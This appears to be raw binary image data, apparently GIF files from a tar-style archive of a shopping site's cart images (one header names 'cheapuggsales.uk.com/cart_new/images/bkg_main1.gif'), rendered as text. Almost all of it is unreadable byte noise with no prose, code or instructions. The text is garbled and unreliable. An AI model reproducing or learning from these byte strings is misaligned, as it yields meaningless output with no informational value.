tRC=D]¯,N.;=ǿB%-c)N.EJM?N/؏E]Jʟy!(@ H5nG!E$YI)UdK1;*YM9kzOE+ѣ^%SQҢJkUf`V^" ,h͚mFi["y]d^~ aĉ/fcȑ%O\e̙5oŗd&]iԩUfRk6YvQ~ UaV^ER, srV]pn}??G?{'/>}}o^?xkOt@D? A3Pð3BD PPAD PB5{G 2؊)7$)T|Ezja*fb`Ŝ9b-"+苍ZDο*ȯ?%,C հ a/E e1;ENP uq +IT U4am !-^ db5XdUvYfuYhvZjZlv[nMVW7pir\r͵sI27E*r2ᰪJ+209132$2oX Nic"6 +b34;cCydKL4HeXvIe;yHyAȝ5 bI3rޝM^y*r^ک b>bk {(lV{mvvnn{ooܕ'\I>ZGEǣwrS^,`C,6.Xu[nc}vkYb>hrwcuw]aVwgwdgwO6y{哇~wgg~xy>굧{|oxs>ex;u@&P TO&'=k-$ \e_[R&mL`؛NP+\BPqY mxCP+W}. ¦G{O"%PJVR5e*Zn@Q-mEZN,Oywje_FU~D5=iը" Bq(1ըbdGHb$$PzЌ HѧCxLPzr%IQDldnE?RvJTRde+Y@XCM.*9Ǖ kS]ENa3LhF1rse5yMlfSwC\7Ϳ]>,Mx8tSr3΁i+ ,ܩOiHl͘4 zP&mfCPFt=.w$>٨Q 8@n6`~K ̧ԈE .AmPT;%` C%PS Ajԥ&KURԪfEjT^5RXU"+RmYUT=XjԲrjkWzzmXֶy,Uح6j-+bkqf5Y!ȘiE͌S ;#-sTR"E,̄ϼ"/l cLcHCȕ-.צmap]f.wkznv[׼Ey ^׻={׫/{_-/xWN||7z` wuy #uo}!QX+fq&q8o1>܌_|8q(Fsq#\IOҫ0t a.4u"[ryyjsf5kfybj߼fr.sW?Yssm8Yх3gFFU>Ku'"dMmiۂn2_{Ťb mصzk^׻6}bغ&6}f;׿Nd_;̆minllg>nC[6}oqoַ h{6w-pjw/FN|ԾFqn^m# T_U UJ*yK/ka9Wg<;w*g~Ժ2K!"d@=d^UmmQ-Leջ"1Aấp_a FWƵ2/ a޽y{2F5pCb‡?xXw#xg9ys{G~~Lb>񊯼ΏDY}4o>_~{G7o}KWSO~gG>~WN TS @d'tr:| x@-'1d5蒮2d0 68T|~((i?`A6AAbd.!"AVAlAAA+B!|&"Ad.BVص\BB1,Cu)B%t)Af9LB`C2T1"ApS7+C!D:$B2/ B50|Bh$D3D-C"AbCND(|'B?DV@5EC{ݓ4*5 ]$3^T*=KXD4EÀ])Y<*X4Z44\+_DWJ[c3sjݣFD`Eb3Kc4eDGd7E^4JfT3aGfTjGr4wYtW\F4GcEXE\EF|TH2FKJƁL3[GpEG\Es\GHp4Hm|LͬͼLLL,MS?S@ TA E;TDMTE&IIhTG%F}G5JuKRNN4f URef T;aX A8t7^U_U` VaVb-Vc=VdMVe]VfmVg}VhVi]VC]TkVlVlԿTo{0: U,Slա$W @!UO+O|{]M}׀{ׁ=4X~|}؆UX XW-X؅XՊW5؄WنXX|X~Uٖ}مY5YٍXX-ؙd@GGӴ)GAcѕ dFtlZ3=Z4S3<7;qtZZơG E FѧuɧF}t}[Mkɥ3ߣ44sL[DǷܮZlۤ-ܡ\\PNNS(xSCU/9-]%tH];H U;Mi]۽]]]]]_3Tk"92^^s,SҹE㸤cޥ :9ޠ98}^S:ME+HH Œc)I]VVOWq xEUAU=SHJԍUحd׍^aa.a>a`ZR Ҳ5R([[}Q^a'FuQڳZѤaү b&E;Z"-ҰMb.b(-fv['bad|TǕPp6\::.\=5c ޲h| 6E^dEFaHdIdJdƃHdMdNdOdPeQeR.eSn35^\M>ʵPheXW=>i-;GQ1 iHf6@Y6YKNfe^ffnffFTfifjfkflfmfnfofפTqq.{Yc-fREc/9zgz`Gi!C> PUF.h>V=_Sh+Hh~hv^hh~hh膖h鏆c#NVi>hNihf閮^Nifhihj.F^ih~j~jjjRȿMLNڔkk>;Cδk?L^<;dl#lk̲v>FNÎNS?ʾlFfkl&g~T͵cΥcnNgpnn~nnnnLئFb8ڦm۶|`|,iinVNhoUpho=o&opoWp ' og ?pqpp w op qogp7o .nr'r(r)rI**+߂,rno{&o;5ǏbV8h=X:s;<=7hs@tAtB/tC?tDOtE_tFotGtHi&rJtKtLosNn-Pb@z&oS/oT<9H5uYuZu[u\u]u^u_u`vavb/vc?vdOveu>tgvhviN\2uRS7u[/gW׃OOXrur=0wt_q?q7rOxrwwtwyOvw~wzwuwU}wxvgw{wxxxtwuOxzw_wswoxO藏x|Wx7x_xy'y}OXz_zLzL`炨o_zzz?w_s{{'{L8zz/{_ʏz|z{ozw|çwsh|_/}nvt~Pb0~QO~l'moU~FWw~~^v~~~dov?τ-H_wgL B A"l0È%B8!B5f #D%j)ƈ'2bń++ti&Μ:q'Р>G -f(Rǖ2m)ԨRU?ZZW=bǒ-k,ڴeװm-ܸrҭk.޼z/.<Ċ3n1Ȓ'Sl2̚7s3Т#?*m4ԪM9PFM(F?Vi,XUԊ䜹Z>I^tַo;Ǔ/o<׳o=ӯo?? 8 TK> *`k6[l= bSA5p!r^8ѕ*'#5HvM'#A 9$Ey$}$M:$QJkVYjyZV,aeI1OP[pVUe%`9# Z z(*()9%J:)7jb#dZD}ifRh2ŦooIǕrj<3z+kF&Kcر%[,a&,-ߴUŵbvmb+.9X;Z+-B[{/5aO) Hl@(,V 7[k[3Z|s $6{11F%|r$,c/ s(19,42!|A\tD|$tN=u(C=V,49g2iX:6e}p1 0VkWZ=[~8+8;8K>9[ޱhk9{ڡoU&Rpwkw,T[ծaxZUuGw؀w_qӛW_=|c}͏/=磿>(ߣOg?ؿO'Y{ `W>s(>ɢE, fЂ ԠQ8P%ta -Bv00 !C+a {C ` ]80L#A1ᰄK\kAPMyFB1,!ϸ0r|d22KFmk[*-or27<f>b9&m& `9йv3=~3-AІ>4E3}eUlHAқ4+iMGzӕ1iPs6Ӣ&;}YKO;Qҵ49KӮf3jb6vi[:V5;k\K{׾MK6[IbVƲ}.[sf4O%oN0~ G?83>k#.S83ւwZɮ2*\w-63xfyYbW7sf>9Ѓ. p8:ғ3N:ԣ.SV:ֳs^:إ.qۖfwkrv{_ܲ]Cs`˹u/?<3<#/S<3@?΋'Mԗc/z>WKzC·=u?z/|W~go}{'ώnuWt;w̗v &. 6f煝N V^ fnş~ _m ])o ۅ߼ ޠ 8 w9`!&.!6>!FN!V^!fn!v>ar!!! .Ԗ L 7`8`uY%za8"^2#2b5"$Vb#."&:%:b$Bb'j$b%j)z)^$^#b'b(R(+b,"(z"%b+Jb$/N"(*#'"-b&vb)&"2 c*"4b,")64"6b2Jb (9#::#;;#<ƣ<#=֣=#>>#??#<ơ@ d ZY;-$ DDF a9!8BtG~$HH$II$JJ$KK$LƤL$M֤M$pNrdO$OPPdPN%RR.P6%QQ:PJ%U&NZUReOjeTn%XX%Y^%TnO*YRZeW.@ΥA"99CaM$aUa!>XcZBc>cFdVeJ&e^dZffjgjfg~chV&iBehfifinkflhg6kڦn&joz&p'qq'r&r.'s6s>'tFtN'uVu^'vfvn's$:$<o_%7&z'}2&!HM'}֧}'~~'K'w((&r9 ;Bh:@#xxcy2dzvD{{cʧ(($.(֨(p%R(;n( z9c%0c( ދN)V^)fG%t~)%闒i險i))֩橞韊򩡆w6h 9>* V t&dvd($*b**֪*&**j+&.+$ĨFN+Vh*i:* H:ꥎ ^Cj5x6*ƫ++櫾++,,+$B",4,2>,JRl:VjlNlf,^,ZlRǢlfƪɞ,J,z~l˾^̎rl,¬Ȓ,Ǝ-˂,-Ԇ,ެm-Іr-Ȟl"mJmlvVi-NZXjԭ݊ mm5 6 =&L T^.fn.v~.膮.閮.ꦮ.붮n.֮...//îm->jR3mjjnlCZB$v䫚//Ư/o //00'/07?0Gp#o 0>oVk -À.&x6k$*50 ǰ 0 p00011'/17?1qH0W_1go1w1Sp;j0/S{vpn 5pp`BRְ G 2!!2"'"/rG<2$G$O2%W%_2&g&o2'w'2((2))2*oWj:+r r,;CrrƱ r//[n >31p210?34G4O35W5_36g6o37w73883996@*3;;3<dz<3=2. > /61n031/B#3C' DO4EWE_4FgFoDs=4HH4IIG>˭>1 0L &ʫ DsB' ôdst[4 ߵvwwwAxϸo:w:z#0rz+zz:Ϻ::纯úz ;#{zK;CC㺵;?{/;:O׻{7;W9y.|.:S#“7G4A|G>'/>7#>GT~|sC w<>4 ~B!> >׾׾>>??'/?7?O?W_?go?wO>SC@ch~Ïp?~>?3>ij  4xaB 6tbD)VxcF{dH#I4yeJ+YtfL3iִye.;y~piRKɑ*TQv+BuWȖ5Kڴز[֥o^{p` 6|qbŋ7v1ix\2˓3S朙g;Olt͚UW4סS]tвi&h־=cmzp+/λlmƍ㤃/_~q~un/}7uVf*P Z,\. {% - yH=EM<U\]|di$ӏǨArH Кˬ|2(*K.02S $ґ6둪$+<ܓ>~B =DE3M5r7* ;N=P%RM=TU]V] \jH>GSWut̕W^ᴴRMd@-d" Bj!Fln[J(!d\q=tUwvU\sɍ]z=wz7{e`xVހ=]E`iuz㝸  ^c/;dqx]~e~<֦zyRaXa5]hg.mV[pivܨ ^wީZbzꬵl8%쭿^ju;m.[mj[o&ïN|pfn5ߜ=9grvW X$&/nڹMuߝ}?y襟ꭿߞtY;Y~tud X@0 T@>)XA ^9A~ЃL8IXB)T Y}1 R2i끔(X_ITD'>Ql[XE+^YX"E1a q3P<Ŵ \ XG;y@*v Y~acRȨ@~gDԸFuT7QD(IYJSvd"YJW,iYK[.yK_j$V2GGф t kJ~ HC7iDs:NwO@I` UBP>G &Ɗ2W,1ezHgMjbSYt1LiZS9)SAPZTIURT>QTZU>V\umfКdiU\yU^׻l`ZXUbX>d)[Y^Ul2A4תۮo.Vu|[_]] \` V`?Z1#Pa 3ְz^GW qY i\c 9ycA\d#IV!Q\e+_Yr'La Wp= &>1GN\g;y -Ё ]hC)1{f&ӌW4 ȴpld8ϡI]jS)CXjWֱi]k[׹yk_]l`w^tl ;ѐ~A ]mk_12~n]nsVnw]gߛ7,igئ]p WMo?)^q[Wfv ;!6 m/)WYdzd1i^s9ysAzfo<Et;GAW\YI`r&^xiWvq^wyw߱0tWx?Hov-<}/O7m|U:IucG=wM?$@?@% @!ACAAA@B'B+TBC-TC7C;C?DCTDGDKDOESTEWE[E_Da=gFkFoGsTGwGų==e>>s?TI%@M3ABTA4BI4CaTKKKLTLFeGMTMהMM4&Ht>ItIt9APKׁLQUQQQ7LTR'R+R/GTH.>4?TI/O4UQ[U_VcUVgUB߁nWsUWwW{WXUXXXYUYYYZSi [T~[\T%xa9i]U]]C ^U^^ _U_]_`V`` `aVaaab#Vb'`!Z/c3Vc7c;c?dCVZg2[[\Wƕ\y]M]gv]fo^_)g{ghVhhb-VdViiijwuZIZOeS>Ye]\c6(ilgvl 6^mVmזmm_6jnno?vjjkTkeU]6ll7g lqr#Wr'hao/s3Ws7s;s?tCWtGtKtOuSWuWu[ujcdVjvkWptvwwavf;@xٕxi x) y7ya y7zzW{W{{|W|Ǘ||}W}ח}}~W~~{-uWX[Wv oMvo7ww{w]wxuyyxyWz?8z{헄K؄OSXW[~wcXgk؆o vvuI!x]%xѵ]7; ׉AEx]؊XX{a8Xǘ،we}XUwwֈ;@]؂uz׉;X|A؋ ِWϘّk8cwf瘎Վ)`؏E9|8SYW[ً9cYgkYs'o֒o3Y#A9]E٘Cؕٙ|aٖٚggWwv7Օ'xY58`YY癞Yyt9[ؒ`wؗѵyڃ'+ڢY7ٟwY?X z١y{_gk3sZwڌ? *ٛGz% k5zӹZcmZyZק-٤KzVa^ZZڮKZúZڬzSA׭z۱Z'AwCzMڨE!9 9ۭ![WϷ+c/X5;۳i GKۘzaWe;i;eq{u۳۷+[IS;Ǜz{{[[ ڳ络[8O-՛ wu雓;;;;y \G\սo[A!S}ٙ])ݡ}z}{]e{ŝ>}}ҟ@y!~/7=7%^= ^IWQ^~]a~uo>^wO=с>yS^~֗1۸=u볞 4A ~>EK^^~=^g>>ݳ\~ҟ!y^ *^A@4>)?E3]SU{[_kYa?i_3?g]?⇟zǿ?c \~ʵ|B90… BY1ĉY1ƍ;z2ȑ$K<2ʕ,[|_4kڼ3Ν<{ 4СD=4ҥLi2y 5ԨTZzUV}huرd786-Q6n\Rt%*'|}*~ 60S 9ɔ+[9IM;{ :ѤK:5ujnͪU[lƛ{;9ԫ[ܻ{>i䟶fZK׮kݼK|ÓdC9]` Fx>aNTy䝗Uz{dVn%}_Ѐ-Hc6ވt Rc>h^UnUZXw`"/8c^~ fbZcffhZaW(dg/sIi*F%ZjcchbV> i9F¹a+\$Ņ) vr~z%U( :Ѣފk 5*i NJe[هzh睡j_*Cʚ nk枋[,qn{v稣JKV&y0vp{.U+'W޼Oh_/맫*D1 Q. d ?Ls6/y_L[g/lj$&/T+sV_M7ou9DTfg Dw|4J7MeaR2zキ^ 8`=6Z|XBoG#mK秴tdw#w࢏+aǑK>_oϝ-&w7-|NzƟi:Wl6b :Gݎ{랹Ծ/!|I駻^ϸm7Ugϻ {o NP羊yB%A._K{OB(,lag'6ofvpKxE IZd)H :495r## ʱHS G=ɡ[2 "M Kфl&#_ho%1K=!>c0A̐s3$-$:sK4II׌_&m.q3,gtJl ψzmp1cl-k7π"(!qW2.Tmi *ј Nմ&F3M݀@[?*ҁNKJ P*s0SEM p7=7_ғ iIYRqnԹԴbOmk(:EO`5` XW-)լ%dZ2uRjFϝv;ޭ'߳aq ~KxYQ7ᴪܣF Ύԫw=cѾuXc^d/x|3z!/{Tv շԽז9;ȃS\~LJ}ט|P8(Q(`騎dzyeH(tCt)LHQhǘ|WqzqzȇGฑؑx #Y#ZYs(,teЈO-9|Y2y~U hnM7" %C9Qxm ?8M%ZS~XWnNȓ[B]L֊GkmxQIrnɑ.jZJ\K{Z}闯Xe3,]٘Brlb2l؆v}b)9&@w$XviLQ2莡> xSOi F >;Hqؙ oј.yjyЩLZ)?IJ))M}َÁWFY)^Xw*|&h٠'FAjpm*qg*N9('ZΉkH2zBQSqPٌqUgf$Z&FJpdZIK95 ##SJU*KW:ǡmjObhZfl* %tv@9ȣ9BJ:IʋJnn 9Ba㙟 '~SIɢ-ꢓI 23QsXڟvxꩿ aJzzǪJ 33Z]suYi_7JdJ[V}rj=Zj3ٺJkY*@!꺮0 ;." CKL9"=[왬hƪ+˲B/ 1{.3ګ8ۯ@+ƪ>I(>ɴCo:gk+]^x劷+:F/# [f+&RyuYAˋjʊoZ{# &ոٝVĥ{1;ȷ뷟 ;{͊i >UѸzٺ? K ~Tz˹z[r߻SsY뤔qKpkQ۟+?q˯ʽ{KHL +7HѾ W!^ki_^ʿ ;㛂!,YKMʮ ܸ  ;tk$$ oiƤ{š0! 4<)6|ջ|j̿JD\©Ɲ`4 LĒѾ1RLŢ!W{Z] [^|cG*EGnm orRuLg|ñ+Y?ŀq͎Zܩ,<\LelƌJ̍1 &<͙ۥܱ^Ԋ̬ͽ}{ިT`Zw7~~́m=$N&~ 0.13~5=ȥmФ=FN}0lQNˏM\㒦PQ[.~,mG.i M|>unyn΅;㚺ߟ@*ۿ@,)+.P0[n闞V~۟MԃMئ^n臎ɭګm^44]뷎NyN-~F؊o-OH>CUn{NaIcnҁή'N.R.?3_ o.o_f 'k |S~1)+O/u 8W. _ @߸;^@B?JMo(zuUD뼮XU}_)]'h nu>!/.9!xm_KD7a fOH-]2&=.ò8Ͻ7l蹯HO0Qu_i;-s_E = ɒP/ :QDQ.\ĘOF=vRH%MDRJ-]SL5i6SNMT('EEzRM>UTU^ŊuV]~VXe[Zl;W.ܬu޵T+}E`… Xbƍ'fBdʕ-_ƜYfΝ=Z͏M^|p֭YjXl\m&xB}<"FRr͝]z̞{.4vz7^|ֹ͟G^zPw|gW0jI0@$dL?\c 7 s;~M9Az.DG$ѤN:c1(^4QSH-DdI'L@#k!6*Ç4ܐ?D3D%TMZF9G;1O=N?S+g(|2QEU բJ-ˁD޼"1/ 4G%TDS?V[͒5`m,(%EQcE63b,TI6K)M,S> 15\qETOT:V[u5)^U[wxe}'|Zv%`(Yg7i4.Nq7xsSMuk|WzWfYO~ӟhJJЂRQᔘƴ2ũ:YQwb4hPJ'"UIWMk*N dTB=>4_DQQ^jZe BAB96թOj^tHY$E(/%U6%DZ[kd%;q\mSWz푨Y2u`Ю"ֵi+Y)Oem=mOlژY6L8 jtb9ZIc' ϶ֻܭe[WDnq=-$#ɩn~Itֱ]wL:v]䵖yϋi"dW,JQ{ B_l{Dc5'M 8?R/ iꇅR4$1Odح^\~q/6Yb>ZFSj#\Ηޘ;d6"`&Y*sxu/`TzSzbK7V/mpۓiW]aa ?׾ٖ{NE;;2 #^|K6ldJ픫꥟ӊ| wꅃl֪^}tk%'| ?6IL}_[#Y5c>Ks>? 0;?UN64<÷v=5A{ ;<L,D³{=4Ӷ’@? " ABAB Bɂ( B0’J5*#,@t'6):4+B/.CXCĝ3t4=6tĠcD "3<;D+C,4/Q@< =2D@DPD#|DGE`BDD ^DT4$E?FADE,\EVlʼnxE4,)Y7F-٥CC)B_GsA?#@T cb,;F0GOle$ftgk+ƆF|F"KT;7TTxGWGhGK}LA{ iF9L4ȕ4N ƉdH飇| vHB4Ȍ\đ4 "T4ɀ cɨGvÜI /JIGɎGH:D˴7dʦtʧʸlq,4ǭ˼$K$ˈ0ˡTTK{EALsˌʊL,LDglKT@֔LrHʹL̤ϓ;̉L 4LNż#TȔLD4 l5M`FMχ'L\M^\dM$ٔSRJ/R!?}MlP3]ݡB]hS R9%S{Ğ‚IESP-R2mDƺ:S#E-"k4ZUm ?LOSQUTA=RV%bRKUYUg-mfQk`25nmQdՉ\VjV0slLOw`NKoԛ|qrtXER5P UPׄ WBׇeMVml#ԀXֹ؋V:LؐąMuX-VW5Y 8XN؍՗U]XMY W-ُY2ZM(Xo٩5QYYuO 8ZmZ]ZۉٰEXe[%Y C ɖPۍ8Y+[3ý˶%\ɤ[9YM69\[E2LU;\mU9cRU5\\HU* }]zԼ܅E݄\ ], ݖ=u|U^]lL puS5]U^RMrޒm٢ߤm%]]ߺ_%)\<u`- ݁U YF_` 6 F}0aFu[jNa>` ^`_["taa=]b )^$ #Z+Zbh⎅.Y*&b<㚠.1/M72XIcN0c2cmcQB&=F<[DfA(@^^dH5Mvf䚀Qd49LDeW>R)XYvk\edXed[5]6\dNaf;c.eeXff]hf}jĺl&gX]nF urvtg=viwsy9}& gVhL*hw\兖tjRV`hĪh".cލe?ifi*ڒVVGgNLnN:iZj3_ffMlfm iĢZZU ï֗v߭5v뷆븖빦뺶&6FVfvdžȖɦʶ&6FVfv׆ؖ٦ڶ&6FVfv;cheapuggsales.uk.com/cart_new/images/bkg_main1.gif0000777000000000000000000001671511634073462021177 0ustar rootrootGIF89a!, ,`IJ*\ȰÇ#JHŋ3jȱǏ CIɓ(S\ɲ˗0c*L^PaPϟ@ JѣH*]ʴӅ4U\YJ>ʵׯ`ÊKٮIQp@/|d=Kݻx˷ش>^2A9]̸ǐ#K3ɟ9 烕ĔCMӨZ!f>+NM۸s뾻Dcȓ+_μ9$0xDh @@ŝkνzKPB_Ͼ"' /`yϿDG\~% 6X< X}:hf!QJ(n($hEnP0`+(8#s4~@ (D9Y1$1(PPF)_I@KTv`d%5nhFc*Y?:t֩f'v9⩧j# *"裐(rFj饘n'h駠jp*d誰*kYv:뭸TT+MT& M@@9kVkCBzzD[ôᦫ.V֠-z~BoFKlVҀg&0 )q7 1l2o(첈*3l4׬_l<{,iML3g4$+tTW}VwhXPJmُ=h^j5Rmfb \-OH0D7xQ(}g9PO^o.'uN9⊇Nwd穷.:;D P3'Ox+/}{p#?Ws/~ᏯՋA秿o~GOh??P{L ?*/c!Hi> OGh2=A EHb̄(B8c SeHC _B gJ"D(Z[R$bkeqO(AH`MC\X6P"8F7QVg#@;qVytB*d!*D~d$/HB̤*IKj'AI?L%NIUM+g9X^%.w%N hL捈iL`*/b)KhZsCT!5e85M` :31ܠ<9ӹz§78N{?g<ς'$A'C'FcQޠ+بH"GC:Җ&'(H]J(ULkS4iOzʔDMhҠ"UP S ԨZ527-@J^~)) N]}*Xךg%ֺe; [ֹu^W_^ZX:6,%\ .%|%(keClf7*ef9k+i]K۠Vncrۭ.@]حp_҅ķBp\W5zZ$AtB^!v[]#+y{b$AN !ЮzA0^v W78^ȂGp/Sxn9 aSf I`*">0ll1qC@+q}k\YBvoP*#8C ']2c  z<-;s{;0)iVyL7Srs;9ץg@zo@ \6c`FV=\GCtmh>Gzњޭ=iPNOTs9Ӭ֭#=IǺA][ZאfzV6m\cfVmYgCҦvi {v5cfo/;ܕwΪnwuM*#@ as-zw]{[v%xp*bBL B( \8q9ɧp\*_[ǜ3wyo֜|.y̏T3Я)װ5,(W׽Fg{7(}Ow#?\JdHC  ̷N}zW@s׾N-`{XO* (N- h{MXf㴁*ҁ$h'H#Hw*,L(؁3hM/!7(9L;؃AMCFx4<8Ȅ”6RKT7W(L:D]L_6\8>`ZjmpĆn(uhPy{؇~J(P@JlhviԈHwJԉ(Ȉ>8IxX z(QW(I:pWIqp hȘͨX(ȌxШD(7$xT`Dܘ莅(hh~DVX9ُF)6 P iG>yYmgɐE s`%F_,ْdgA8+i7 :935W}2 Di\*ĔEORIpUiFKywPtaRfyDw,jlٖ@b2 tiDo)YB@$M2 Ci;)MiCCY-$5@B).D $$Y陗i29BPYA)H2@B@I)YD9@B@)ɜ?Y 8IN  99@ߩᩞ?)@♟ych`ى4 >N@ j :?&@Zs& >0@!`@%*>0&U긢-0*4:68:=1:*ʢ>;jV'pF*=1JV*EڤIJULJc** Z<Rp^a*< @fheڥn qʦtv;rjX{:; sZ ʧXW5ը 3ʣ J:z:J j: 8zJ:GЪLs|::Ī9Ɗڬ$8G@)pٺݚ9Zs⪮Z*8 )뺯osl Z`zxðSvk7+ n$6&+(g%hS=1;4k66z2<{aPB5EvF[I5eEPV3M OYKе^K5Z; bKe4g `m4Sp+u4;@x}4q;|[Csh+@+4; 3й3+y+y [3+빭2q[.s˻(02C@+ ț-3м! -Ջ {2kߋK᛾&S +Kr`[ |{ÿw /`06P0!%l06 [),,䑺 kPâ{9>@,C{32Jl/NL/3P|;S\V[r_,Z\b.uŸKwg/p.rvu\wzt\ vǀ|-{Ӝ+^`؜ͷ`+fyBl+} ʋR|+ϲ+=`+Fp * -ϚLѩ2ѯ) Ѫ2}* -]ҨruL$ҙb(0})2-64*pӠ3>)@BEmAMHKm)GI Q )SV}ՎBՑQNm`-֐Bf rs֏2eMg q-׈2Cx{B׀m(|#`P؆2>"؅ؐ0ٔ'A"ً~v֙'<`-vڞٮ ۱ڴڶ=']*Tۻ۸ix0čk۝Н&}gmލ&1ݘ=}&ޖD &M_2ߟ5`_Rh% >TRSRo.opQ"= ^PQ"n$$.+'>$5 *~DEBP3NCbZ:7T?#kh q"p\*p/z.|.n~"۰^"j" %Rv=$ # YNb)򨎩꬞!>뵮!b~. B~oA~!tP~2.׎ 2 nF 0\p 7 Qe 2evN $@\1 _|\l@n 1 o&)O.*/3=,9;>6_Eo߁DGj`PR;_O( (@`0VikOulh6vuoαn}vy 1 |wѽ;Q Ǘ 1ǡ_r1w{/_͇ɟ˟`_v`?OAۏ/1ŗZ!ȌO_q /* $XA .dC%NXE5nG!E$YI)UdY 0B`K9uOA%ZQ.a$HsQNZUYnJҙ5v%[Yiծeטa[]y.Ӂ4}[aĉ/fâM n\e̙5oV8r`s&]iԩUKs%WϦ]mܝ]ztn'^dױgs賑Vuٵ۝Vvŏ'կg=y_}!PCϿTpA*0lpB +ЪB;C2DK4ĊD QtEI H$FsqDhrHzL. rI&.. tJ,- J+sL2+˦,sM6)tsN:$ /3N>(s? 5PE30* EQH#HA%RL4OG3SI7MSOPK5PQS[uuN͓Wk5XJZo sW`5DaXfPYG]Yj]Z]id m\t\nu]֝]x뵗9y${77<Ɲ~5`p\@a3s`ba36dK^K/6yeB9M[yf^fiyg\yzh|:gVz$#~vꩳ֚zkV) Zl6rNmnlZ{m7|g,@Y fqK+<as/!r?Got[W)`uare}to}vރ؁xcrwp5ܩ~{W{O~y7d|/Mۗw~_# 8&PL,%>P&xA&0䠐RPAm#s'BE& UBpy.a /$P7!hC &> b4DЈKD&F=Nx"-残_$cx1Q9ҸF8>{cX9¯w#p>R8yHd$m9C6Ryd$'y<fXEm's'JR21*Uʾr&+ayK|ԡ-qK蒗f1"YӘT 2KfF, 4yMP6D6 `7Ip(9݉tPIzS(\ۉ hߢN̺iW``% >|YC4*!Z-qbؗ` zo! z+_MF_xXlRPy5$p}1EFvy"|8!~("uע0h!lW8@ :X6 9WpuhVh0&tLh_iQ'$fi~mWrhK>d WMhrNYݟSwb_zis% %IU%Vk@?IU? !{x|dr0eช諮hh鮼.B Uכ<y4 }a'WƇ^{$.k/Ը> L?yo:a- m:"S |"Wl" @s⛞i$q7֮1ǚ̪r@gq3 "lg]K Fl\-1W]go^wvXp|Uу|&FqKqn #u{J{Ux cK 0P{ VX{מI#`/&dD+>$Ej7X̢nшV /ha!olH5b>2ю~a B9qRF:2|d EDX̤&7INR (Q*WVtS2̥./0T 0PrL,kid:\f-Q jRʹ6q IN`8v2p"Izg>IuD:JЂ AzP*BkMzgD۹l (A;(M<)Rv!mLRjtiLqZК2|xHMRTNHPԪZxjIUծԤ*VJ֧FudMZjVupj[׺V?`Px `Kf98ka9j=@YӲ^E)?hGXJmiִy^ pͭnw[*Y{K,=1f8-=t{xl_6( w!.q[xOG|w~9SN\wY06' xӣuC]Tէ'ZzջN=]7nO({\{ǣfW{ٽ c xU<7_x}lsOsO v|WP4"~ӻ]TG|;z[}_y 7~vok'Wv>Oz<v?ko➟gGvX}7vzGۇ'[w~7|z}~Gu7}#x(%X'[^012X6xYx>4B85D({G8{Lz$zMHyv}S胼W:]ՃW(U_8/×(؄fdȄf$mXk8>ƅvu؇}8wQB؈(+p}xX[)O؈xVx((U؊T؋8y<VŸ،8XXׂD؍ȅxdXx蘎Y +9&Aܸ؍X"؏؎@OX y ِy A IFOdّ)HiycT*,R!Yْ4Y6y8R/y199@B (CJL;@ؔR9TY#W"9TO]O_OayOciOeYOgIOi9Okm^`)bIdifhjɗln p9Yy*ԓ'iOO9YOi)IO 9Oi隫ٚ9)陿I yǩĘQٗ9ԹiЙҩyɝعٝy晞쉞Yٞy阮 z Ɖȩɠz* :Z jʡ J% $&ʢ*z'JO9[ikiT`y:<*;=J?*AjECj@DʤJڤPRGIJNQR:Z9cIgj)iZemڙqʦkhZo*x:vbʧyJ:z꧈ڨpZ*cGiٕ`YiYFjlꖪ:8Zڪ*j:Z JZʊ˚ʬ zܺc)n:w\Ya:ڮ z:ʯگ ʮj{ W0I`_ IPY]YYa 汇w֕ۗ)+-0{,*k5K.;3= ?+)EK/{7JFP˳CO+MHkQ˴[;F 2OZ۱ Fzchi9)Ii1z|q s+uKwky{;[{sYyJjT˹n;_nZf++k;[{ۻ;[G庬 8h\˖۶UػS;[{+SlKʠK`KJlL ܗ , , $!"&\#.0˜[_7{ 6m;EĹnyҫKMH̹PRW[SVaUeLY<\Lilmbq l<`,uk^5V23ZȄȃț Ɉ|KɆLȒ\ɘȑlɞ<ɝəȠLʡɚ|ʬ<ʭʮ˰<˦,˵L˟<3̓k{T<(k\$[ŬLL8, Ռ۬T,<\LL|֌ϻ J,9 ДmR} MM  m %m"}!2 $46ܘ] ,AE-DJmL=NPN}RmMMX]OS}QYf]hMjl=mFQy(;t]ל{fl }M؁m؃x{؂ؐؒ]،ؖ=ٍٗٞ}؛Mٝ ښ]ڟئMڧ]٪ rc ۯjlm,۶ۻ]ۿ۹ۆ,Mܷ=ǭ=ҽԍϭm ՝ `y߸mM-߳mI=-ޫ^~} > n^N"^=͍ И~02>0."ӄ;++>~?. I~E>@MDQnUV\>WX.[]>f(^>>F@Tr.F+K_nFBm.M.{N^}蒞蔎>蘾野p- 0( VF6Q@ӹ>Rm뷮^.~Nnή~֞оi~z "03 0Iu"QzE>,~~./oO  ?kTT-Gu>NLO-,6?7?8:5?ޜA_CG/LIoKO1*^@FD%n5AI5"^v8]UZowu/wOSg|TTo{?_oߕ |M奎V(z{"ٱ/ذȸJ׵O+]ßo>oԯ՟U~z<03PT+@ |t@Nv-h f"4*D#fd2YVB4tvmr .W*]:Ulr 8(DV !$$:t)86&:?71vNNff2&hin(VHEe{=9|AG7C ſȗѳۮݽS蒣H*,I1"TGEZ4K\vъ"(xQeZJ̄1mrfK-*g&K t-Gr$'E1:mwI[yIg(C=1 6[fK[rkg7u(B$ڭW&߇~6*x IKpzؘAՆxy⒞Q*P4&iaƉT.MNVvt{ESѡ} -;1rbUWm:tq;oԊAsX!ᄇ9D:S "ې<Å 5o+T^#O 8g)p" Ô%Bg"\pkQ1k}_o? Tw/ <x!j ~|# +:VЃ#Mx*0!< UBP-a aB= [_BnsALH8IQAtC+N1}Ub-zQT #h1bTF91q똵殇h H!j,H&*EB%l%o%F&QY'gD,%(QTNҔiYM,mK!esD|*.vd[UD@Ub"'udJ0QHMlzD̤)̬`3)œ)or39MwӜ'=YO|Sl'/E .(yP&3_Q `~,@uDԍ4 WmtbH+͏RK%&Ia HNQF[ҚT=MS`fQQc +f #3$RR (\KZM3aYWiUZhm55zVdkΰW}_ Xr! ,-VMOm2W8ձ1+^s. =*f9ffIZԲ촥k[Ζ`wTxr1 z(~է ɜ U3fͨjC\$RRien7y^j-gt `3|y_旿/nJL`p- L#6Kr,2=0<5H˚`$Veb 6kGZd)y `8g36j*OLXFF[aG2?)8\޲,e({y`.l4]Vsl0a.s-z;1FVp0 ƅ2-er@nOhV LDCzrj䵆ֵ@23+N*V]mcDۙҴ;m\zӇo _-6u];:ٴQu=o:ċ<'k>?oyW~'}Kӯ󬗼/ 